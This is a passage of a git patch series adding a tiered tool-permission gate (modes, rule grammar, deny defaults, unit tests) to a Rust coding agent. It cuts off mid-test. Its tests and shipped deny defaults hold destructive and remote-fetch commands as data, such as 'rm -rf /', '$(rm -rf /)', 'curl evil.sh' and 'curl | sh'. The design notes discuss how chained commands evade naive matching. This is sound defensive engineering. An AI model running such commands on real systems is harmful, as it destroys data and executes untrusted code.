From 8177ee4fabd32e1274bc9b4b34b302033e4603a0 Mon Sep 17 00:00:00 2001 From: Hakula Chen Date: Thu, 25 Jun 2026 11:00:27 +0800 Subject: [PATCH 01/16] docs(design): tiered tool permission and approval design Specifies the Permission & Approval feature (roadmap current focus): a tiered allow/ask/deny gate where instant static rules settle the common cases and a cheap Haiku classifier judges the ambiguous middle, so the agent stays non-stop and only asks on real risk. Key decisions: default `auto` mode flips today's unchecked behavior; dangerous-pattern defaults seed the deny set (no separate immune tier, `yolo` bypasses); project `ox.toml` may only tighten via `deny`; the approval decision rides the existing user_rx channel and needs a new ModalStack cancel hook so dismissal resolves to deny. Ships in three independent phases (static tiers, classifier, session allow-always). --- docs/design/README.md | 1 + docs/design/tools/permissions.md | 120 +++++++++++++++++++++++++++++++ 2 files changed, 121 insertions(+) create mode 100644 docs/design/tools/permissions.md diff --git a/docs/design/README.md b/docs/design/README.md index 6d1bdaa9..80c1aa2d 100644 --- a/docs/design/README.md +++ b/docs/design/README.md @@ -31,6 +31,7 @@ Organized by topic. Each subdirectory mirrors the corresponding directory in [`d | Document | Description | | ---------------------------------------- | -------------------------------------------------- | | [Output Truncation](tools/truncation.md) | Per-tool view-shape caps + centralized byte-budget | +| [Permissions](tools/permissions.md) | Tiered allow / ask / deny gate, modes, classifier | ## Terminal UI diff --git a/docs/design/tools/permissions.md b/docs/design/tools/permissions.md new file mode 100644 index 00000000..7e08fe82 --- /dev/null +++ b/docs/design/tools/permissions.md @@ -0,0 +1,120 @@ +# Tool Permissions and Approval + +Tiered permission gate in front of every mutating tool call: instant static rules settle the obvious cases, a cheap classifier judges the ambiguous middle, and the user is asked only when real risk remains. + +Companion docs: [research/tools/permissions.md](../../research/tools/permissions.md), [slash/modals.md](../slash/modals.md), [session/file-tracking.md](../session/file-tracking.md). + +## Modes + +A mode sets the standing posture, shaped like the `Effort` enum (`ALL` / `as_str` / `Display` / `FromStr`) and cycled the same way `/effort` is. + +- **`auto`** (default): the tiered pipeline below. The gate is on out of the box, flipping today's unchecked behavior. +- **`plan`**: read-only analysis. Read-only tools allow; every mutating tool denies, including `bash`, which cannot be statically proven side-effect-free. +- **`yolo`**: allow everything, skipping the pipeline. The opt-in "dangerously skip" posture for trusted or externally sandboxed environments. `yolo` bypasses deny rules too, so it is the one mode with no floor. + +## Decision Pipeline + +In `auto` mode the gate evaluates a call in fixed order and stops at the first match. + +1. **Deny match** (user ∪ project deny rules, including the shipped dangerous-pattern defaults) → deny. +2. **Read-only tool** (`read`, `glob`, `grep`) → allow. +3. **Edit-class call inside the working directory** (`edit` / `write`, target path canonicalized first) → allow. +4. **Allow match** (user allow rules) or **session allow-always** → allow. +5. **Classifier verdict** → `safe` allows and caches; `risky` or unreachable falls through to ask (interactive) or deny (headless). + +Deny precedes every allow, so an explicit deny is never downgraded by an allow rule or by the classifier. The shipped dangerous-pattern defaults seed the deny set, so a classifier outage cannot let a command matching them through. They hold in `auto`, and `yolo` bypasses every deny rule, including these. A per-rule opt-out within `auto` is deferred. + +## Rule Grammar + +Rules reuse Claude Code's `tool(specifier)` string form for transferable muscle memory, with tool-name matching case-insensitive so `Bash(...)` and `bash(...)` are equivalent. `bash` / `bash()` / `bash(*)` collapse to a tool-wide rule. Bash specifiers come in exact, prefix (`cargo test:*`), and wildcard (`git *`) shapes; `edit` / `write` specifiers are gitignore-style path globs resolved against the working directory. + +The `bash` command string is unparsed (`bash -c "..."`), so prefix and wildcard matching is best-effort UX, not a boundary: `ls; rm -rf` and `$()` indirection defeat naive matching. Allow rules therefore match conservatively, and a compound command never matches a prefix allow. Deny rules match the raw string. Path keys are canonicalized before any inside-cwd test, since `edit` / `write` resolve neither `..` nor symlinks today, so a raw-string check is bypassable. + +## Classifier + +The classifier mirrors the background title generator: a cheap Haiku model, a JSON-schema `OutputFormat` forcing a `{ "safe": bool, "reason": string }` envelope, prompt clamping, and warn-log-and-fall-back on any HTTP, parse, or timeout failure. It is consulted only at step 5, never for the static cases. + +A verdict caches per session, keyed by tool name plus the verbatim `bash` command string or the canonical `edit` / `write` path, and scoped to the session's resolved policy so a later mode or rule change starts fresh. The cache is process-local and never persisted. On failure the call has already cleared the deny list at step 1, so it falls through to ask interactively or deny in headless mode. + +## Approval Round-Trip + +When step 5 resolves to ask, the decision rides the existing `user_rx` channel rather than a second channel the turn loop does not poll. Tool dispatch is sequential, so at most one approval is ever outstanding and no id fan-out is needed. + +`run_tool_round` threads the tool-use `id` and `sink` into `dispatch_tool_call`, which emits a new `AgentEvent::ApprovalRequested { id, preview }` carrying the id and a small `Clone` preview: an edit diff via `edit::synthesize_chunk`, an all-add diff for `write`, the command string for `bash`. The gate intercepts before `tools.run`, the same place the parse-error short-circuit already returns a synthetic `ToolOutput`. It awaits a decision in a sibling of `await_unless_aborted`: the select-loop still maps `Cancel` → `Cancelled` and `Quit` → `Quit`, still buffers a queued `SubmitPrompt` into `pending`, and matches a new `UserAction::ApprovalDecision { id, decision }`. A decision whose id does not match the outstanding call is ignored, and the wait future is cancel-safe by drop. + +On the TUI side an `ApprovalModal` joins the `ModalStack`, built from the `ConfirmDeleteSessionModal` template. The blocked agent must receive a decision on every dismissal path, but `ModalStack::handle_key` intercepts Esc and Ctrl+C before delegation and `clear` drops modals outright, both yielding `ModalAction::None`. The stack therefore gains a cancel hook (a `Modal::on_cancel` returning an optional `ModalAction`) so universal-cancel and session-swap `clear` resolve a pending approval to `ApprovalDecision::Deny` instead of stranding the agent. A denied call returns a synthetic error `ToolOutput`, so the model sees the refusal as a tool result and can choose another approach. + +## Configuration + +```toml +[permission] +mode = "auto" # auto | plan | yolo +allow = ["bash(cargo test:*)", "edit(src/**)"] +deny = ["bash(rm -rf:*)", "write(.git/**)"] +``` + +`OX_PERMISSION_MODE` overrides the mode with the same empty-env-falls-through and parse-error-propagates behavior `effort` uses, so a typo fails loudly rather than defaulting permissive. The block adds a `PermissionFileConfig` to `FileConfig` with `deny_unknown_fields`, merged through `merge_section`, and resolved in `Config::load` after the compaction block. + +The shipped deny defaults cover catastrophic commands (`rm -rf` of broad roots, disk writes, fork bombs, `curl | sh`) and metadata paths (`write(.git/**)`, `write(.ox/**)`), so step 3's in-cwd allow cannot create a new file under those paths without first clearing step 1. + +A checked-in `ox.toml` is untrusted, exactly like the credentials `reject_project_secrets` already blocks, so a project file may set only `deny`. Setting `mode` or `allow` there is rejected with a message pointing to user config. The merge appends project `deny` onto the user deny set, so a repo can restrict itself but never widen what the user allowed. + +## Headless Behavior + +In `-p` / `--no-tui` runs there is no human to prompt, so a would-ask call resolves against the classifier alone: `safe` allows, `risky` or unreachable denies. The deny list and the classifier are the whole boundary here, with no human fallback, so a headless run assumes an already-trusted invocation. The model sees a synthetic denial and can retry. + +## Tool Risk Classes + +Risk is a new method on the `Tool` trait, so each tool declares its own class. The three classes are read-only (`read`, `glob`, `grep`), edit-class (`edit`, `write`), and execute (`bash`). + +`edit` and `write` share a class but differ in blast radius. `edit` requires the file to exist and to have been read, so it cannot create files. `write` can create brand-new files and parent directories without a prior Read, while overwriting an existing file still goes through the tracker gate. The step-3 cwd check operates on each call's target path, the canonicalized parent for `write`, so the two share one risk class. + +## Phasing + +Each phase ships independently. + +1. **Static tiers, modal, and modes.** The deny / read-only / cwd / allow pipeline, the `ApprovalModal` plus the `ModalStack` cancel hook, the mode enum, and config wiring. Fully deterministic and offline, with step 5 resolving straight to ask. +2. **Classifier.** Insert the Haiku verdict and the per-session cache at step 5. +3. **Session allow-always.** The in-memory "don't ask again this session" map at step 4, mirroring `FileTracker`. + +## Design Decisions + +1. **Classifier runs last.** Static checks are instant and free, so the model round-trip runs only when neither an allow nor a deny rule settles the call. A pure rule engine would prompt on everything unmatched, breaking the non-stop goal, and a pure classifier would add a round-trip to every `bash` call. The tiered order spends neither. + +2. **Default `auto`, flipping today's behavior.** Running tools unchecked is the larger hazard. `yolo` preserves the old behavior for anyone who wants it, as an explicit opt-in. + +3. **No immutable danger floor.** The dangerous-pattern defaults are ordinary deny rules rather than a separate immune tier. Evaluating deny before the classifier keeps them effective in `auto`, and `yolo` bypasses every deny rule rather than carving out an exception. A granular per-rule opt-out is deferred. + +4. **Project files tighten only.** Honoring a project `allow` or `mode` would let a teammate's repo widen what the local user permitted, the same privilege-escalation vector as project-set credentials. Append-only `deny` lets a repo restrict itself without that risk. + +5. **The classifier is a UX layer.** Because `bash` is unparsed, the classifier cannot be trusted against an adversarial model. The deny list is the dependable boundary, and an unreachable classifier degrades to asking rather than to running. + +6. **Decision on the existing channel.** Routing the approval through `user_rx` and the `ModalStack` reuses the cancel / quit / queue semantics the turn loop already races, so no second channel or control-flow path is introduced. + +7. **Session memory in process only.** A persisted "allow bash X" has no disk ground-truth to re-validate on resume, unlike a `FileSnapshot` rehash, so re-admitting it would be a trust regression. Per the roadmap, session commands stay reversible and cross-session writes wait for an explicit confirmed action. + +8. **Classifier reuses the title-gen path.** The cheap-Haiku, JSON-schema, warn-and-fall-back shape already exists and already handles auth, betas, and gateway constraints. A bespoke classifier client would duplicate it. + +## Deferred + +- Per-rule opt-out of a shipped dangerous-pattern deny default within `auto`; today only `yolo` bypasses them. +- Persisted project allowlists via an explicit confirmed writer (`util/fs.rs::atomic_write_private`). +- Editable bash-prefix widening in the approval modal ("don't ask again for `cargo *`"). +- Read confidentiality scoping: `read` can open any absolute path, gated nowhere today. +- Rule env vars beyond `OX_PERMISSION_MODE`. +- Resume survival of session allow-always through the session actor. + +## Sources + +- `crates/oxide-code/src/agent.rs`: `dispatch_tool_call`, `await_unless_aborted`, `run_tool_round`. +- `crates/oxide-code/src/agent/event.rs`: `AgentEvent`, `UserAction`. +- `crates/oxide-code/src/client/anthropic/wire.rs`: `OutputFormat` JSON-schema envelope. +- `crates/oxide-code/src/config.rs`: `Config::load`, `Effort` enum template. +- `crates/oxide-code/src/config/file.rs`: `FileConfig::merge`, `merge_section`, `reject_project_secrets`. +- `crates/oxide-code/src/session/title_generator.rs`: classifier template (Haiku, structured output). +- `crates/oxide-code/src/slash/confirm.rs`: `ConfirmDeleteSessionModal`, the approval-modal template. +- `crates/oxide-code/src/tool.rs`: `Tool` trait, the new risk-class method. +- `crates/oxide-code/src/tool/bash.rs`: unbounded execute surface. +- `crates/oxide-code/src/tool/edit.rs`: read-before-edit gate, `synthesize_chunk` preview. +- `crates/oxide-code/src/tool/write.rs`: new-file creation and the cwd-scope seam. +- `crates/oxide-code/src/tui/modal.rs`: `ModalStack`, the cancel-hook seam for approval. From 42fcc2cc027f678f51eedbf8c79b88baf29c9ec4 Mon Sep 17 00:00:00 2001 From: Hakula Chen Date: Thu, 25 Jun 2026 11:19:29 +0800 Subject: [PATCH 02/16] feat(permission): add rule grammar, mode, and decision gate MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Introduces the pure core of the permission system (Phase 1, step 1): a `Mode` enum (auto/plan/yolo) shaped like `Effort`, a `tool(specifier)` rule grammar with case-insensitive tool names, bash exact/prefix/wildcard matching, and gitignore-style path globs, plus `Policy::decide` — the sync, side-effect-free pipeline returning allow/ask/deny. Adds a `risk_class` method to the `Tool` trait (no default, so each tool declares its own) classifying the six tools as read-only, edit, or execute. No agent wiring yet; the gate is consulted in a later commit. Bash allow rules refuse compound commands while deny rules match any chained segment, so widening stays conservative and revoking aggressive. --- crates/oxide-code/src/agent.rs | 8 + crates/oxide-code/src/main.rs | 1 + crates/oxide-code/src/permission.rs | 322 +++++++++++++++++++++ crates/oxide-code/src/permission/rule.rs | 347 +++++++++++++++++++++++ crates/oxide-code/src/tool.rs | 17 ++ crates/oxide-code/src/tool/bash.rs | 4 + crates/oxide-code/src/tool/edit.rs | 4 + crates/oxide-code/src/tool/glob.rs | 4 + crates/oxide-code/src/tool/grep.rs | 4 + crates/oxide-code/src/tool/read.rs | 4 + crates/oxide-code/src/tool/write.rs | 4 + 11 files changed, 719 insertions(+) create mode 100644 crates/oxide-code/src/permission.rs create mode 100644 crates/oxide-code/src/permission/rule.rs diff --git a/crates/oxide-code/src/agent.rs b/crates/oxide-code/src/agent.rs index 271d1b33..a0cd8a06 100644 --- a/crates/oxide-code/src/agent.rs +++ b/crates/oxide-code/src/agent.rs @@ -1121,6 +1121,10 @@ mod tests { "echo the input" } + fn risk_class(&self) -> crate::tool::RiskClass { + crate::tool::RiskClass::Execute + } + fn input_schema(&self) -> serde_json::Value { json!({"type": "object"}) } @@ -1157,6 +1161,10 @@ mod tests { "blocks until the turn is cancelled" } + fn risk_class(&self) -> crate::tool::RiskClass { + crate::tool::RiskClass::Execute + } + fn input_schema(&self) -> serde_json::Value { json!({"type": "object"}) } diff --git a/crates/oxide-code/src/main.rs b/crates/oxide-code/src/main.rs index 8f788603..a9142287 100644 --- a/crates/oxide-code/src/main.rs +++ b/crates/oxide-code/src/main.rs @@ -6,6 +6,7 @@ mod config; mod file_tracker; mod message; mod model; +mod permission; mod prompt; mod session; mod slash; diff --git a/crates/oxide-code/src/permission.rs b/crates/oxide-code/src/permission.rs new file mode 100644 index 00000000..aa71bdd0 --- /dev/null +++ b/crates/oxide-code/src/permission.rs @@ -0,0 +1,322 @@ +//! Tool permission gate. A resolved [`Policy`] (mode plus rule sets) and a [`Target`] describing a +//! tool call resolve to a [`Decision`] of allow / ask / deny through the pure [`Policy::decide`] +//! pipeline. Design: `docs/design/tools/permissions.md`. +//! +//! The gate is the whole safety boundary: oxide-code has no sandbox, so the decision pipeline is +//! the only thing standing between the model and an unchecked tool call. + +mod rule; + +use std::fmt; +use std::str::FromStr; + +use anyhow::{Result, bail}; + +use crate::permission::rule::Rule; +use crate::tool::RiskClass; + +// ── Mode ── + +/// The standing permission posture, shaped like [`crate::config::Effort`] so it threads through +/// config and a future `/permission` control the same way. +#[derive(Debug, Clone, Copy, PartialEq, Eq, Default)] +pub(crate) enum Mode { + /// Tiered pipeline: static rules settle the obvious cases, the rest asks. + #[default] + Auto, + /// Read-only analysis. Every mutating tool denies. + Plan, + /// Allow everything, bypassing the pipeline and all deny rules. + Yolo, +} + +impl Mode { + pub(crate) const ALL: [Self; 3] = [Self::Auto, Self::Plan, Self::Yolo]; + pub(crate) const VALID_VALUES: &str = "auto, plan, yolo"; + + pub(crate) const fn as_str(self) -> &'static str { + match self { + Self::Auto => "auto", + Self::Plan => "plan", + Self::Yolo => "yolo", + } + } +} + +impl fmt::Display for Mode { + fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { + f.write_str(self.as_str()) + } +} + +impl FromStr for Mode { + type Err = anyhow::Error; + + fn from_str(s: &str) -> Result { + match s { + "auto" => Ok(Self::Auto), + "plan" => Ok(Self::Plan), + "yolo" => Ok(Self::Yolo), + _ => bail!( + "invalid permission mode {s:?}; expected one of: {}", + Self::VALID_VALUES + ), + } + } +} + +// ── Target ── + +/// What a tool call acts on, matched against rule specifiers. `bash` carries its command string; +/// path tools carry the canonicalized absolute path plus the cwd-relative path when the target sits +/// inside the working directory (the same value drives the inside-cwd allow at step 3). +#[derive(Debug, Clone)] +pub(crate) enum Target<'a> { + Command(&'a str), + Path { + canonical: &'a str, + relative: Option<&'a str>, + }, +} + +impl Target<'_> { + /// Whether the target resolves inside the working directory, gating the step-3 auto-allow. + /// A `bash` command has no single path, so it is never inside-cwd for this purpose. + const fn is_inside_cwd(&self) -> bool { + matches!( + self, + Self::Path { + relative: Some(_), + .. + } + ) + } +} + +// ── Decision ── + +/// The pipeline's verdict for one call. `Ask` resolves interactively or, in headless mode, to a +/// deny at the call site (the gate itself stays UI-agnostic). +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +pub(crate) enum Decision { + Allow, + Ask, + Deny, +} + +// ── Policy ── + +/// Resolved permission policy: the active mode plus parsed allow / deny rule sets. Built once from +/// config and consulted by [`Self::decide`] on every gated call. +#[derive(Debug, Clone, Default)] +pub(crate) struct Policy { + mode: Mode, + allow: Vec, + deny: Vec, +} + +impl Policy { + pub(crate) fn new(mode: Mode, allow: Vec, deny: Vec) -> Self { + Self { mode, allow, deny } + } + + pub(crate) const fn mode(&self) -> Mode { + self.mode + } + + /// Resolves a call to a [`Decision`]. Pure and synchronous: no I/O, no async, no classifier. + /// The classifier (Phase 2) slots in where this returns [`Decision::Ask`] from step 5. + /// + /// Order, stopping at the first match: + /// 1. `yolo` allows everything, including deny-rule matches. + /// 2. A deny rule denies. + /// 3. `plan` denies any mutating tool. + /// 4. A read-only tool allows. + /// 5. An edit-class call inside the working directory allows. + /// 6. An allow rule allows. + /// 7. Otherwise ask. + pub(crate) fn decide(&self, tool: &str, risk: RiskClass, target: &Target<'_>) -> Decision { + if self.mode == Mode::Yolo { + return Decision::Allow; + } + + if self.deny.iter().any(|r| r.matches(tool, target, true)) { + return Decision::Deny; + } + + if risk == RiskClass::ReadOnly { + return Decision::Allow; + } + + if self.mode == Mode::Plan { + return Decision::Deny; + } + + if risk == RiskClass::Edit && target.is_inside_cwd() { + return Decision::Allow; + } + + if self.allow.iter().any(|r| r.matches(tool, target, false)) { + return Decision::Allow; + } + + Decision::Ask + } +} + +/// Parses a list of `tool(specifier)` rule strings, failing on the first malformed entry so a typo +/// surfaces at config load rather than silently dropping a deny. +pub(crate) fn parse_rules(raw: &[String]) -> Result> { + raw.iter().map(|s| Rule::parse(s)).collect() +} + +#[cfg(test)] +mod tests { + use super::*; + + fn policy(mode: Mode, allow: &[&str], deny: &[&str]) -> Policy { + let parse = |rs: &[&str]| { + parse_rules(&rs.iter().map(|s| (*s).to_owned()).collect::>()).unwrap() + }; + Policy::new(mode, parse(allow), parse(deny)) + } + + fn command(s: &str) -> Target<'_> { + Target::Command(s) + } + + fn inside_cwd<'a>(canonical: &'a str, relative: &'a str) -> Target<'a> { + Target::Path { + canonical, + relative: Some(relative), + } + } + + fn outside_cwd(canonical: &str) -> Target<'_> { + Target::Path { + canonical, + relative: None, + } + } + + // ── Mode::from_str ── + + #[test] + fn mode_parses_all_valid_values() { + for mode in Mode::ALL { + assert_eq!(mode.as_str().parse::().unwrap(), mode); + } + } + + #[test] + fn mode_rejects_unknown_value() { + let err = "bypass".parse::().unwrap_err().to_string(); + assert!(err.contains("invalid permission mode"), "got: {err}"); + } + + // ── Policy::decide (precedence) ── + + #[test] + fn yolo_allows_even_a_denied_command() { + // yolo is the one posture with no floor: deny rules are bypassed too. + let p = policy(Mode::Yolo, &[], &["bash(rm -rf:*)"]); + assert_eq!( + p.decide("bash", RiskClass::Execute, &command("rm -rf /")), + Decision::Allow + ); + } + + #[test] + fn deny_beats_every_allow_path() { + // A deny rule must win over an inside-cwd edit, an allow rule, and read-only status alike. + let p = policy(Mode::Auto, &["edit(src/**)"], &["edit(src/secret.rs)"]); + assert_eq!( + p.decide( + "edit", + RiskClass::Edit, + &inside_cwd("/repo/src/secret.rs", "src/secret.rs") + ), + Decision::Deny, + ); + } + + #[test] + fn deny_overrides_read_only_auto_allow() { + let p = policy(Mode::Auto, &[], &["read(**/.env)"]); + assert_eq!( + p.decide( + "read", + RiskClass::ReadOnly, + &inside_cwd("/repo/.env", ".env") + ), + Decision::Deny, + ); + } + + #[test] + fn read_only_tool_allows_by_default() { + let p = policy(Mode::Auto, &[], &[]); + assert_eq!( + p.decide("grep", RiskClass::ReadOnly, &command("pattern")), + Decision::Allow + ); + } + + #[test] + fn plan_denies_mutating_tools_but_allows_read_only() { + let p = policy(Mode::Plan, &["bash(ls)"], &[]); + assert_eq!( + p.decide("read", RiskClass::ReadOnly, &outside_cwd("/etc/hosts")), + Decision::Allow + ); + // Even an allow-listed bash command denies under plan. + assert_eq!( + p.decide("bash", RiskClass::Execute, &command("ls")), + Decision::Deny + ); + assert_eq!( + p.decide("edit", RiskClass::Edit, &inside_cwd("/repo/a.rs", "a.rs")), + Decision::Deny + ); + } + + #[test] + fn edit_inside_cwd_allows_without_a_rule() { + let p = policy(Mode::Auto, &[], &[]); + assert_eq!( + p.decide( + "write", + RiskClass::Edit, + &inside_cwd("/repo/new.rs", "new.rs") + ), + Decision::Allow, + ); + } + + #[test] + fn edit_outside_cwd_falls_through_to_ask() { + let p = policy(Mode::Auto, &[], &[]); + assert_eq!( + p.decide("write", RiskClass::Edit, &outside_cwd("/etc/passwd")), + Decision::Ask, + ); + } + + #[test] + fn allow_rule_admits_an_otherwise_asked_command() { + let p = policy(Mode::Auto, &["bash(cargo test:*)"], &[]); + assert_eq!( + p.decide("bash", RiskClass::Execute, &command("cargo test --all")), + Decision::Allow + ); + } + + #[test] + fn unmatched_execute_call_asks() { + let p = policy(Mode::Auto, &[], &[]); + assert_eq!( + p.decide("bash", RiskClass::Execute, &command("curl evil.sh")), + Decision::Ask + ); + } +} diff --git a/crates/oxide-code/src/permission/rule.rs b/crates/oxide-code/src/permission/rule.rs new file mode 100644 index 00000000..ce3e824a --- /dev/null +++ b/crates/oxide-code/src/permission/rule.rs @@ -0,0 +1,347 @@ +//! Permission rule grammar: `tool(specifier)` strings parsed into matchable rules. +//! +//! The form mirrors Claude Code's for transferable muscle memory. A rule names a tool +//! (case-insensitive) and an optional specifier. `bash` specifiers match the command string in +//! exact, prefix (`cargo test:*`), or wildcard (`git *`) shapes; every other tool's specifier is a +//! gitignore-style path glob. A bare tool name, `tool()`, or `tool(*)` is tool-wide. +//! +//! Because a `bash` command is an unparsed string, matching is best-effort UX rather than a +//! security boundary (see `docs/design/tools/permissions.md`). The asymmetry is deliberate: an +//! allow rule refuses to match a compound command, while a deny rule matches any segment of one, so +//! widening stays conservative and revoking stays aggressive. + +use anyhow::{Context, Result}; +use globset::{Glob, GlobMatcher}; +use regex::Regex; + +use crate::permission::Target; + +// ── Rule ── + +/// One parsed permission rule. `tool` is lowercased at parse time so matching is case-insensitive. +#[derive(Debug, Clone)] +pub(crate) struct Rule { + tool: String, + spec: Spec, +} + +/// The matchable body of a rule, chosen by the rule's tool at parse time. +#[derive(Debug, Clone)] +enum Spec { + /// Tool-wide: a bare name, `tool()`, or `tool(*)`. Matches every call to the tool. + Any, + Bash(BashSpec), + /// Gitignore-style path glob for `edit` / `write` / `read` / `glob` / `grep`. + Path(GlobMatcher), +} + +/// How a `bash` specifier matches a command string. +#[derive(Debug, Clone)] +enum BashSpec { + /// `cargo build`: the command must equal this exactly. + Exact(String), + /// `cargo test:*`: the command must start with this prefix. + Prefix(String), + /// `git *`: glob over the command, compiled to an anchored regex. + Wildcard(Regex), +} + +impl Rule { + /// Parses a `tool(specifier)` string. The first unescaped `(` opens the specifier and the + /// trailing `)` closes it; everything else is a bare tool name. Path globs and wildcard regexes + /// compile here so a malformed rule fails at config load rather than mid-turn. + pub(crate) fn parse(raw: &str) -> Result { + let raw = raw.trim(); + let (tool, spec_str) = match (raw.find('('), raw.strip_suffix(')')) { + (Some(open), Some(_)) => (&raw[..open], &raw[open + 1..raw.len() - 1]), + _ => (raw, ""), + }; + + let tool = tool.trim().to_lowercase(); + anyhow::ensure!(!tool.is_empty(), "permission rule {raw:?} has no tool name"); + + let spec_str = spec_str.trim(); + let spec = if spec_str.is_empty() || spec_str == "*" { + Spec::Any + } else if tool == "bash" { + BashSpec::parse(spec_str) + } else { + let glob = Glob::new(spec_str) + .with_context(|| format!("invalid path glob in permission rule {raw:?}"))?; + Spec::Path(glob.compile_matcher()) + }; + + Ok(Self { tool, spec }) + } + + /// Whether this rule matches a call to `tool` with `target`. `deny` selects the matching + /// discipline for compound `bash` commands: a deny rule matches any chained segment, an allow + /// rule matches only a single non-compound command. + pub(crate) fn matches(&self, tool: &str, target: &Target<'_>, deny: bool) -> bool { + if self.tool != tool { + return false; + } + match (&self.spec, target) { + (Spec::Any, _) => true, + (Spec::Bash(spec), Target::Command(cmd)) => spec.matches(cmd, deny), + ( + Spec::Path(glob), + Target::Path { + canonical, + relative, + }, + ) => glob.is_match(canonical) || relative.is_some_and(|r| glob.is_match(r)), + _ => false, + } + } +} + +impl BashSpec { + fn parse(spec: &str) -> Spec { + if let Some(prefix) = spec.strip_suffix(":*") { + Spec::Bash(Self::Prefix(prefix.trim_end().to_owned())) + } else if spec.contains('*') { + // An unparsable glob can never compile here: `glob_to_regex` only emits valid syntax. + Spec::Bash(Self::Wildcard(glob_to_regex(spec))) + } else { + Spec::Bash(Self::Exact(spec.to_owned())) + } + } + + fn matches(&self, command: &str, deny: bool) -> bool { + if deny { + return split_segments(command).any(|seg| self.matches_segment(seg)); + } + // Allow rules never widen a compound command: a single chained operator forfeits the match. + !is_compound(command) && self.matches_segment(command.trim()) + } + + fn matches_segment(&self, segment: &str) -> bool { + match self { + Self::Exact(s) => segment == s, + Self::Prefix(p) => segment == p || segment.starts_with(&format!("{p} ")), + Self::Wildcard(re) => re.is_match(segment), + } + } +} + +// ── Bash Command Helpers ── + +/// Shell operators that chain one command into another. Used to split a command for deny matching +/// and to reject compound commands for allow matching. +const CHAIN_CHARS: [char; 4] = [';', '|', '&', '\n']; + +/// Whether a command chains, pipes, redirects, or substitutes into another command. Best-effort: +/// it is the gate against an allow rule silently widening `cargo test` to `cargo test; rm -rf /`, +/// not a parser. +fn is_compound(command: &str) -> bool { + command.contains(CHAIN_CHARS) || command.contains("$(") || command.contains('`') +} + +/// Splits a command on chain operators into trimmed, non-empty segments. `&&` and `||` split on +/// their single chars and the empty halves drop out, so `a && b` yields `a`, `b`. +fn split_segments(command: &str) -> impl Iterator { + command + .split(CHAIN_CHARS) + .map(str::trim) + .filter(|s| !s.is_empty()) +} + +/// Converts a bash wildcard specifier to an anchored regex: literal text is escaped and `*` becomes +/// `.*`, so `git *` matches `git status` but not `cargo gitx`. +fn glob_to_regex(glob: &str) -> Regex { + let mut pattern = String::with_capacity(glob.len() + 4); + pattern.push('^'); + for part in glob.split('*') { + pattern.push_str(®ex::escape(part)); + pattern.push_str(".*"); + } + // Each segment appended a trailing `.*`; drop the final one so the regex ends at the last + // literal unless the glob itself ended in `*`. + pattern.truncate(pattern.len() - 2); + pattern.push('$'); + Regex::new(&pattern).expect("escaped glob is always valid regex") +} + +#[cfg(test)] +mod tests { + use super::*; + + fn cmd(s: &str) -> Target<'_> { + Target::Command(s) + } + + fn path<'a>(canonical: &'a str, relative: Option<&'a str>) -> Target<'a> { + Target::Path { + canonical, + relative, + } + } + + // ── Rule::parse ── + + #[test] + fn parse_bare_tool_name_is_tool_wide() { + let rule = Rule::parse("bash").unwrap(); + assert!(rule.matches("bash", &cmd("anything; rm -rf /"), false)); + } + + #[test] + fn parse_empty_and_star_specifiers_are_tool_wide() { + for raw in ["bash()", "bash(*)"] { + let rule = Rule::parse(raw).unwrap(); + assert!(rule.matches("bash", &cmd("ls"), false), "{raw}"); + } + } + + #[test] + fn parse_lowercases_tool_name_for_case_insensitive_match() { + let rule = Rule::parse("Bash(ls)").unwrap(); + assert!(rule.matches("bash", &cmd("ls"), false)); + } + + #[test] + fn parse_rejects_empty_tool_name() { + let err = Rule::parse("(ls)").unwrap_err().to_string(); + assert!(err.contains("no tool name"), "got: {err}"); + } + + #[test] + fn parse_rejects_malformed_path_glob() { + let err = Rule::parse("edit(src/**/[)").unwrap_err().to_string(); + assert!(err.contains("invalid path glob"), "got: {err}"); + } + + // ── BashSpec::matches ── + + #[test] + fn bash_exact_matches_only_identical_command() { + let rule = Rule::parse("bash(cargo build)").unwrap(); + assert!(rule.matches("bash", &cmd("cargo build"), false)); + assert!(!rule.matches("bash", &cmd("cargo build --release"), false)); + } + + #[test] + fn bash_prefix_matches_command_and_its_arguments() { + let rule = Rule::parse("bash(cargo test:*)").unwrap(); + assert!(rule.matches("bash", &cmd("cargo test"), false)); + assert!(rule.matches("bash", &cmd("cargo test --all"), false)); + // A different command that merely starts with the same letters must not match. + assert!(!rule.matches("bash", &cmd("cargo testbench"), false)); + } + + #[test] + fn bash_wildcard_anchors_both_ends() { + let rule = Rule::parse("bash(git *)").unwrap(); + assert!(rule.matches("bash", &cmd("git status"), false)); + assert!(!rule.matches("bash", &cmd("cargo gitx"), false)); + } + + #[test] + fn allow_prefix_refuses_compound_command() { + // The load-bearing safety property: `cargo test:*` must not allow a chained `rm`. + let rule = Rule::parse("bash(cargo test:*)").unwrap(); + assert!(!rule.matches("bash", &cmd("cargo test && rm -rf /"), false)); + assert!(!rule.matches("bash", &cmd("cargo test; rm -rf /"), false)); + assert!(!rule.matches("bash", &cmd("cargo test | tee out"), false)); + assert!(!rule.matches("bash", &cmd("cargo test $(rm -rf /)"), false)); + } + + #[test] + fn deny_prefix_matches_any_segment_of_compound_command() { + // The mirror property: a deny must fire even when the danger is chained behind a safe head. + let rule = Rule::parse("bash(rm -rf:*)").unwrap(); + assert!(rule.matches("bash", &cmd("rm -rf /"), true)); + assert!(rule.matches("bash", &cmd("ls && rm -rf /tmp/x"), true)); + assert!(rule.matches("bash", &cmd("echo hi; rm -rf ."), true)); + } + + // ── Rule::matches (path) ── + + #[test] + fn relative_path_glob_matches_the_relative_target() { + // The shipped `.git/**` deny default protects the project's own `.git`, which is inside cwd + // and therefore carries a relative path. + let rule = Rule::parse("write(.git/**)").unwrap(); + assert!(rule.matches( + "write", + &path("/repo/.git/hooks/pre-commit", Some(".git/hooks/pre-commit")), + true + )); + assert!(!rule.matches( + "write", + &path("/repo/src/main.rs", Some("src/main.rs")), + true + )); + } + + #[test] + fn relative_path_glob_does_not_match_an_out_of_cwd_absolute_path() { + // A cwd-relative glob must not match an absolute path that resolved outside the working + // directory; such targets fall through to ask rather than to a relative rule. + let rule = Rule::parse("write(.git/**)").unwrap(); + assert!(!rule.matches("write", &path("/elsewhere/.git/config", None), true)); + } + + #[test] + fn absolute_path_glob_matches_the_canonical_target() { + // An absolute glob (e.g. a `~`-expanded rule) matches the canonical path even with no + // relative component. + let rule = Rule::parse("read(/etc/**)").unwrap(); + 